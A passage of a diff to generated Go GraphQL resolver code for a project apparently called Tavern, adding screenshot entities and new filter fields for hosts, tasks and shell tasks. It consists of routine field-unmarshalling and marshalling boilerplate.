err } - it.URLHasSuffix = data - case "urlEqualFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlEqualFold")) + it.NameHasSuffix = data + case "nameEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLEqualFold = data - case "urlContainsFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("urlContainsFold")) + it.NameEqualFold = data + case "nameContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.URLContainsFold = data - case "publicKey": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKey")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.NameContainsFold = data + case "size": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("size")) + data, err := ec.unmarshalOUint642ᚖuint64(ctx, v) if err != nil { return it, err } - it.PublicKey = data - case "publicKeyNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyNEQ")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.Size = data + case "sizeNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNEQ")) + data, err := ec.unmarshalOUint642ᚖuint64(ctx, v) if err != nil { return it, err } - it.PublicKeyNEQ = data - case "publicKeyIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyIn")) - data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + it.SizeNEQ = data + case "sizeIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeIn")) + data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v) if err != nil { return it, err } - it.PublicKeyIn = data - case "publicKeyNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyNotIn")) - data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + it.SizeIn = data + case "sizeNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeNotIn")) + data, err := ec.unmarshalOUint642ᚕuint64ᚄ(ctx, v) if err != nil { return it, err } - it.PublicKeyNotIn = data - case "publicKeyGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyGT")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.SizeNotIn = data + case "sizeGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGT")) + data, err := ec.unmarshalOUint642ᚖuint64(ctx, v) if err != nil { return it, err } - it.PublicKeyGT = data - case "publicKeyGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyGTE")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.SizeGT = data + case "sizeGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeGTE")) + data, err := ec.unmarshalOUint642ᚖuint64(ctx, v) if err != nil { return it, err } - it.PublicKeyGTE = data - case "publicKeyLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyLT")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.SizeGTE = data + case "sizeLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLT")) + data, err := ec.unmarshalOUint642ᚖuint64(ctx, v) if err != nil { return it, err } - it.PublicKeyLT = data - case "publicKeyLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyLTE")) - data, err := ec.unmarshalOString2ᚖstring(ctx, v) + it.SizeLT = data + case "sizeLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sizeLTE")) + data, err := ec.unmarshalOUint642ᚖuint64(ctx, v) if err != nil { return it, err } - it.PublicKeyLTE = data - case "publicKeyContains": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyContains")) + it.SizeLTE = data + case "hash": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hash")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.PublicKeyContains = data - case "publicKeyHasPrefix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyHasPrefix")) + it.Hash = data + case "hashNEQ": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashNEQ")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.PublicKeyHasPrefix = data - case "publicKeyHasSuffix": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyHasSuffix")) + it.HashNEQ = data + case "hashIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.HashIn = data + case "hashNotIn": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashNotIn")) + data, err := ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + it.HashNotIn = data + case "hashGT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashGT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.PublicKeyHasSuffix = data - case "publicKeyEqualFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyEqualFold")) + it.HashGT = data + case "hashGTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashGTE")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.PublicKeyEqualFold = data - case "publicKeyContainsFold": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("publicKeyContainsFold")) + it.HashGTE = data + case "hashLT": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashLT")) data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.PublicKeyContainsFold = data - case "lastImportedAt": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAt")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.HashLT = data + case "hashLTE": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashLTE")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.LastImportedAt = data - case "lastImportedAtNEQ": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtNEQ")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.HashLTE = data + case "hashContains": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashContains")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.LastImportedAtNEQ = data - case "lastImportedAtIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtIn")) - data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + it.HashContains = data + case "hashHasPrefix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashHasPrefix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.LastImportedAtIn = data - case "lastImportedAtNotIn": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtNotIn")) - data, err := ec.unmarshalOTime2ᚕtimeᚐTimeᚄ(ctx, v) + it.HashHasPrefix = data + case "hashHasSuffix": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashHasSuffix")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.LastImportedAtNotIn = data - case "lastImportedAtGT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtGT")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.HashHasSuffix = data + case "hashIsNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashIsNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) if err != nil { return it, err } - it.LastImportedAtGT = data - case "lastImportedAtGTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtGTE")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.HashIsNil = data + case "hashNotNil": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashNotNil")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) if err != nil { return it, err } - it.LastImportedAtGTE = data - case "lastImportedAtLT": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtLT")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.HashNotNil = data + case "hashEqualFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashEqualFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.LastImportedAtLT = data - case "lastImportedAtLTE": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtLTE")) - data, err := ec.unmarshalOTime2ᚖtimeᚐTime(ctx, v) + it.HashEqualFold = data + case "hashContainsFold": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hashContainsFold")) + data, err := ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - it.LastImportedAtLTE = data - case "lastImportedAtIsNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtIsNil")) - data, err := ec.unmarshalOBoolean2bool(ctx, v) + it.HashContainsFold = data + case "hasHost": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHost")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.LastImportedAtIsNil = data - case "lastImportedAtNotNil": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("lastImportedAtNotNil")) - data, err := ec.unmarshalOBoolean2bool(ctx, v) + it.HasHost = data + case "hasHostWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasHostWith")) + data, err := ec.unmarshalOHostWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.LastImportedAtNotNil = data - case "hasTomes": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomes")) + it.HasHostWith = data + case "hasTask": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTask")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasTomes = data - case "hasTomesWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTomesWith")) - data, err := ec.unmarshalOTomeWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTomeWhereInputᚄ(ctx, v) + it.HasTask = data + case "hasTaskWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTaskWith")) + data, err := ec.unmarshalOTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasTomesWith = data - case "hasOwner": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwner")) + it.HasTaskWith = data + case "hasShellTask": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasShellTask")) data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) if err != nil { return it, err } - it.HasOwner = data - case "hasOwnerWith": - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasOwnerWith")) - data, err := ec.unmarshalOUserWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserWhereInputᚄ(ctx, v) + it.HasShellTask = data + case "hasShellTaskWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasShellTaskWith")) + data, err := ec.unmarshalOShellTaskWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellTaskWhereInputᚄ(ctx, v) if err != nil { return it, err } - it.HasOwnerWith = data + it.HasShellTaskWith = data } } @@ -22519,7 +23871,7 @@ func (ec *executionContext) unmarshalInputShellTaskWhereInput(ctx context.Contex asMap[k] = v } - fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "input", "inputNEQ", "inputIn", "inputNotIn", "inputGT", "inputGTE", "inputLT", "inputLTE", "inputContains", "inputHasPrefix", "inputHasSuffix", "inputEqualFold", "inputContainsFold", "output", "outputNEQ", "outputIn", "outputNotIn", "outputGT", "outputGTE", "outputLT", "outputLTE", "outputContains", "outputHasPrefix", "outputHasSuffix", "outputIsNil", "outputNotNil", "outputEqualFold", "outputContainsFold", "error", "errorNEQ", "errorIn", "errorNotIn", "errorGT", "errorGTE", "errorLT", "errorLTE", "errorContains", "errorHasPrefix", "errorHasSuffix", "errorIsNil", "errorNotNil", "errorEqualFold", "errorContainsFold", "streamID", "streamIDNEQ", "streamIDIn", "streamIDNotIn", "streamIDGT", "streamIDGTE", "streamIDLT", "streamIDLTE", "streamIDContains", "streamIDHasPrefix", "streamIDHasSuffix", "streamIDEqualFold", "streamIDContainsFold", "sequenceID", "sequenceIDNEQ", "sequenceIDIn", "sequenceIDNotIn", "sequenceIDGT", "sequenceIDGTE", "sequenceIDLT", "sequenceIDLTE", "claimedAt", "claimedAtNEQ", "claimedAtIn", "claimedAtNotIn", "claimedAtGT", "claimedAtGTE", "claimedAtLT", "claimedAtLTE", "claimedAtIsNil", "claimedAtNotNil", "execStartedAt", "execStartedAtNEQ", "execStartedAtIn", "execStartedAtNotIn", "execStartedAtGT", "execStartedAtGTE", "execStartedAtLT", "execStartedAtLTE", "execStartedAtIsNil", "execStartedAtNotNil", "execFinishedAt", "execFinishedAtNEQ", "execFinishedAtIn", "execFinishedAtNotIn", "execFinishedAtGT", "execFinishedAtGTE", "execFinishedAtLT", "execFinishedAtLTE", "execFinishedAtIsNil", "execFinishedAtNotNil", "hasShell", "hasShellWith", "hasCreator", "hasCreatorWith", "hasReportedCredentials", "hasReportedCredentialsWith", "hasReportedFiles", "hasReportedFilesWith", "hasReportedProcesses", "hasReportedProcessesWith"} + fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "input", "inputNEQ", "inputIn", "inputNotIn", "inputGT", "inputGTE", "inputLT", "inputLTE", "inputContains", "inputHasPrefix", "inputHasSuffix", "inputEqualFold", "inputContainsFold", "output", "outputNEQ", "outputIn", "outputNotIn", "outputGT", "outputGTE", "outputLT", "outputLTE", "outputContains", "outputHasPrefix", "outputHasSuffix", "outputIsNil", "outputNotNil", "outputEqualFold", "outputContainsFold", "error", "errorNEQ", "errorIn", "errorNotIn", "errorGT", "errorGTE", "errorLT", "errorLTE", "errorContains", "errorHasPrefix", "errorHasSuffix", "errorIsNil", "errorNotNil", "errorEqualFold", "errorContainsFold", "streamID", "streamIDNEQ", "streamIDIn", "streamIDNotIn", "streamIDGT", "streamIDGTE", "streamIDLT", "streamIDLTE", "streamIDContains", "streamIDHasPrefix", "streamIDHasSuffix", "streamIDEqualFold", "streamIDContainsFold", "sequenceID", "sequenceIDNEQ", "sequenceIDIn", "sequenceIDNotIn", "sequenceIDGT", "sequenceIDGTE", "sequenceIDLT", "sequenceIDLTE", "claimedAt", "claimedAtNEQ", "claimedAtIn", "claimedAtNotIn", "claimedAtGT", "claimedAtGTE", "claimedAtLT", "claimedAtLTE", "claimedAtIsNil", "claimedAtNotNil", "execStartedAt", "execStartedAtNEQ", "execStartedAtIn", "execStartedAtNotIn", "execStartedAtGT", "execStartedAtGTE", "execStartedAtLT", "execStartedAtLTE", "execStartedAtIsNil", "execStartedAtNotNil", "execFinishedAt", "execFinishedAtNEQ", "execFinishedAtIn", "execFinishedAtNotIn", "execFinishedAtGT", "execFinishedAtGTE", "execFinishedAtLT", "execFinishedAtLTE", "execFinishedAtIsNil", "execFinishedAtNotNil", "hasShell", "hasShellWith", "hasCreator", "hasCreatorWith", "hasReportedCredentials", "hasReportedCredentialsWith", "hasReportedFiles", "hasReportedFilesWith", "hasReportedProcesses", "hasReportedProcessesWith", "hasScreenshots", "hasScreenshotsWith"} for _, k := range fieldsInOrder { v, ok := asMap[k] if !ok { @@ -23459,6 +24811,20 @@ func (ec *executionContext) unmarshalInputShellTaskWhereInput(ctx context.Contex return it, err } it.HasReportedProcessesWith = data + case "hasScreenshots": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasScreenshots")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + it.HasScreenshots = data + case "hasScreenshotsWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasScreenshotsWith")) + data, err := ec.unmarshalOScreenshotWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + it.HasScreenshotsWith = data } } @@ -24141,7 +25507,7 @@ func (ec *executionContext) unmarshalInputTaskWhereInput(ctx context.Context, ob asMap[k] = v } - fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "claimedAt", "claimedAtNEQ", "claimedAtIn", "claimedAtNotIn", "claimedAtGT", "claimedAtGTE", "claimedAtLT", "claimedAtLTE", "claimedAtIsNil", "claimedAtNotNil", "execStartedAt", "execStartedAtNEQ", "execStartedAtIn", "execStartedAtNotIn", "execStartedAtGT", "execStartedAtGTE", "execStartedAtLT", "execStartedAtLTE", "execStartedAtIsNil", "execStartedAtNotNil", "execFinishedAt", "execFinishedAtNEQ", "execFinishedAtIn", "execFinishedAtNotIn", "execFinishedAtGT", "execFinishedAtGTE", "execFinishedAtLT", "execFinishedAtLTE", "execFinishedAtIsNil", "execFinishedAtNotNil", "output", "outputNEQ", "outputIn", "outputNotIn", "outputGT", "outputGTE", "outputLT", "outputLTE", "outputContains", "outputHasPrefix", "outputHasSuffix", "outputIsNil", "outputNotNil", "outputEqualFold", "outputContainsFold", "outputSize", "outputSizeNEQ", "outputSizeIn", "outputSizeNotIn", "outputSizeGT", "outputSizeGTE", "outputSizeLT", "outputSizeLTE", "error", "errorNEQ", "errorIn", "errorNotIn", "errorGT", "errorGTE", "errorLT", "errorLTE", "errorContains", "errorHasPrefix", "errorHasSuffix", "errorIsNil", "errorNotNil", "errorEqualFold", "errorContainsFold", "hasQuest", "hasQuestWith", "hasBeacon", "hasBeaconWith", "hasReportedFiles", "hasReportedFilesWith", "hasReportedProcesses", "hasReportedProcessesWith", "hasReportedCredentials", "hasReportedCredentialsWith", "hasShells", "hasShellsWith"} + fieldsInOrder := [...]string{"not", "and", "or", "id", "idNEQ", "idIn", "idNotIn", "idGT", "idGTE", "idLT", "idLTE", "createdAt", "createdAtNEQ", "createdAtIn", "createdAtNotIn", "createdAtGT", "createdAtGTE", "createdAtLT", "createdAtLTE", "lastModifiedAt", "lastModifiedAtNEQ", "lastModifiedAtIn", "lastModifiedAtNotIn", "lastModifiedAtGT", "lastModifiedAtGTE", "lastModifiedAtLT", "lastModifiedAtLTE", "claimedAt", "claimedAtNEQ", "claimedAtIn", "claimedAtNotIn", "claimedAtGT", "claimedAtGTE", "claimedAtLT", "claimedAtLTE", "claimedAtIsNil", "claimedAtNotNil", "execStartedAt", "execStartedAtNEQ", "execStartedAtIn", "execStartedAtNotIn", "execStartedAtGT", "execStartedAtGTE", "execStartedAtLT", "execStartedAtLTE", "execStartedAtIsNil", "execStartedAtNotNil", "execFinishedAt", "execFinishedAtNEQ", "execFinishedAtIn", "execFinishedAtNotIn", "execFinishedAtGT", "execFinishedAtGTE", "execFinishedAtLT", "execFinishedAtLTE", "execFinishedAtIsNil", "execFinishedAtNotNil", "output", "outputNEQ", "outputIn", "outputNotIn", "outputGT", "outputGTE", "outputLT", "outputLTE", "outputContains", "outputHasPrefix", "outputHasSuffix", "outputIsNil", "outputNotNil", "outputEqualFold", "outputContainsFold", "outputSize", "outputSizeNEQ", "outputSizeIn", "outputSizeNotIn", "outputSizeGT", "outputSizeGTE", "outputSizeLT", "outputSizeLTE", "error", "errorNEQ", "errorIn", "errorNotIn", "errorGT", "errorGTE", "errorLT", "errorLTE", "errorContains", "errorHasPrefix", "errorHasSuffix", "errorIsNil", "errorNotNil", "errorEqualFold", "errorContainsFold", "hasQuest", "hasQuestWith", "hasBeacon", "hasBeaconWith", "hasReportedFiles", "hasReportedFilesWith", "hasReportedProcesses", "hasReportedProcessesWith", "hasReportedCredentials", "hasReportedCredentialsWith", "hasShells", "hasShellsWith", "hasScreenshots", "hasScreenshotsWith"} for _, k := range fieldsInOrder { v, ok := asMap[k] if !ok { @@ -24897,6 +26263,20 @@ func (ec *executionContext) unmarshalInputTaskWhereInput(ctx context.Context, ob return it, err } it.HasShellsWith = data + case "hasScreenshots": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasScreenshots")) + data, err := ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + it.HasScreenshots = data + case "hasScreenshotsWith": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasScreenshotsWith")) + data, err := ec.unmarshalOScreenshotWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + it.HasScreenshotsWith = data } } @@ -25891,7 +27271,7 @@ func (ec *executionContext) unmarshalInputUpdateHostInput(ctx context.Context, o asMap[k] = v } - fieldsInOrder := [...]string{"lastModifiedAt", "name", "clearName", "addTagIDs", "removeTagIDs", "clearTags", "addBeaconIDs", "removeBeaconIDs", "clearBeacons", "addFileIDs", "removeFileIDs", "clearFiles", "addProcessIDs", "removeProcessIDs", "clearProcesses", "addCredentialIDs", "removeCredentialIDs", "clearCredentials"} + fieldsInOrder := [...]string{"lastModifiedAt", "name", "clearName", "addTagIDs", "removeTagIDs", "clearTags", "addBeaconIDs", "removeBeaconIDs", "clearBeacons", "addFileIDs", "removeFileIDs", "clearFiles", "addProcessIDs", "removeProcessIDs", "clearProcesses", "addCredentialIDs", "removeCredentialIDs", "clearCredentials", "addScreenshotIDs", "removeScreenshotIDs", "clearScreenshots"} for _, k := range fieldsInOrder { v, ok := asMap[k] if !ok { @@ -26024,6 +27404,27 @@ func (ec *executionContext) unmarshalInputUpdateHostInput(ctx context.Context, o return it, err } it.ClearCredentials = data + case "addScreenshotIDs": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("addScreenshotIDs")) + data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + it.AddScreenshotIDs = data + case "removeScreenshotIDs": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("removeScreenshotIDs")) + data, err := ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + it.RemoveScreenshotIDs = data + case "clearScreenshots": + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("clearScreenshots")) + data, err := ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + it.ClearScreenshots = data } } @@ -26808,6 +28209,11 @@ func (ec *executionContext) _Node(ctx context.Context, sel ast.SelectionSet, obj return graphql.Null } return ec._Shell(ctx, sel, obj) + case *ent.Screenshot: + if obj == nil { + return graphql.Null + } + return ec._Screenshot(ctx, sel, obj) case *ent.Repository: if obj == nil { return graphql.Null @@ -28074,6 +29480,42 @@ func (ec *executionContext) _Host(ctx context.Context, sel ast.SelectionSet, obj continue } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) + case "screenshots": + field := field + + innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Host_screenshots(ctx, field, obj) + if res == graphql.Null { + atomic.AddUint32(&fs.Invalids, 1) + } + return res + } + + if field.Deferrable != nil { + dfs, ok := deferred[field.Deferrable.Label] + di := 0 + if ok { + dfs.AddField(field) + di = len(dfs.Values) - 1 + } else { + dfs = graphql.NewFieldSet([]graphql.CollectedField{field}) + deferred[field.Deferrable.Label] = dfs + } + dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler { + return innerFunc(ctx, dfs) + }) + + // don't run the out.Concurrently() call below + out.Values[i] = graphql.Null + continue + } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) default: panic("unknown field " + strconv.Quote(field.Name)) @@ -30231,45 +31673,262 @@ func (ec *executionContext) _QuestEdge(ctx context.Context, sel ast.SelectionSet return out } -var repositoryImplementors = []string{"Repository", "Node"} +var repositoryImplementors = []string{"Repository", "Node"} + +func (ec *executionContext) _Repository(ctx context.Context, sel ast.SelectionSet, obj *ent.Repository) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, repositoryImplementors) + + out := graphql.NewFieldSet(fields) + deferred := make(map[string]*graphql.FieldSet) + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("Repository") + case "id": + out.Values[i] = ec._Repository_id(ctx, field, obj) + if out.Values[i] == graphql.Null { + atomic.AddUint32(&out.Invalids, 1) + } + case "createdAt": + out.Values[i] = ec._Repository_createdAt(ctx, field, obj) + if out.Values[i] == graphql.Null { + atomic.AddUint32(&out.Invalids, 1) + } + case "lastModifiedAt": + out.Values[i] = ec._Repository_lastModifiedAt(ctx, field, obj) + if out.Values[i] == graphql.Null { + atomic.AddUint32(&out.Invalids, 1) + } + case "url": + out.Values[i] = ec._Repository_url(ctx, field, obj) + if out.Values[i] == graphql.Null { + atomic.AddUint32(&out.Invalids, 1) + } + case "publicKey": + out.Values[i] = ec._Repository_publicKey(ctx, field, obj) + if out.Values[i] == graphql.Null { + atomic.AddUint32(&out.Invalids, 1) + } + case "lastImportedAt": + out.Values[i] = ec._Repository_lastImportedAt(ctx, field, obj) + case "tomes": + field := field + + innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Repository_tomes(ctx, field, obj) + if res == graphql.Null { + atomic.AddUint32(&fs.Invalids, 1) + } + return res + } + + if field.Deferrable != nil { + dfs, ok := deferred[field.Deferrable.Label] + di := 0 + if ok { + dfs.AddField(field) + di = len(dfs.Values) - 1 + } else { + dfs = graphql.NewFieldSet([]graphql.CollectedField{field}) + deferred[field.Deferrable.Label] = dfs + } + dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler { + return innerFunc(ctx, dfs) + }) + + // don't run the out.Concurrently() call below + out.Values[i] = graphql.Null + continue + } + + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) + case "owner": + field := field + + innerFunc := func(ctx context.Context, _ *graphql.FieldSet) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Repository_owner(ctx, field, obj) + return res + } + + if field.Deferrable != nil { + dfs, ok := deferred[field.Deferrable.Label] + di := 0 + if ok { + dfs.AddField(field) + di = len(dfs.Values) - 1 + } else { + dfs = graphql.NewFieldSet([]graphql.CollectedField{field}) + deferred[field.Deferrable.Label] = dfs + } + dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler { + return innerFunc(ctx, dfs) + }) + + // don't run the out.Concurrently() call below + out.Values[i] = graphql.Null + continue + } + + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch(ctx) + if out.Invalids > 0 { + return graphql.Null + } + + atomic.AddInt32(&ec.deferred, int32(len(deferred))) + + for label, dfs := range deferred { + ec.processDeferredGroup(graphql.DeferredGroup{ + Label: label, + Path: graphql.GetPath(ctx), + FieldSet: dfs, + Context: ctx, + }) + } + + return out +} + +var repositoryConnectionImplementors = []string{"RepositoryConnection"} + +func (ec *executionContext) _RepositoryConnection(ctx context.Context, sel ast.SelectionSet, obj *ent.RepositoryConnection) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, repositoryConnectionImplementors) + + out := graphql.NewFieldSet(fields) + deferred := make(map[string]*graphql.FieldSet) + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("RepositoryConnection") + case "edges": + out.Values[i] = ec._RepositoryConnection_edges(ctx, field, obj) + case "pageInfo": + out.Values[i] = ec._RepositoryConnection_pageInfo(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + case "totalCount": + out.Values[i] = 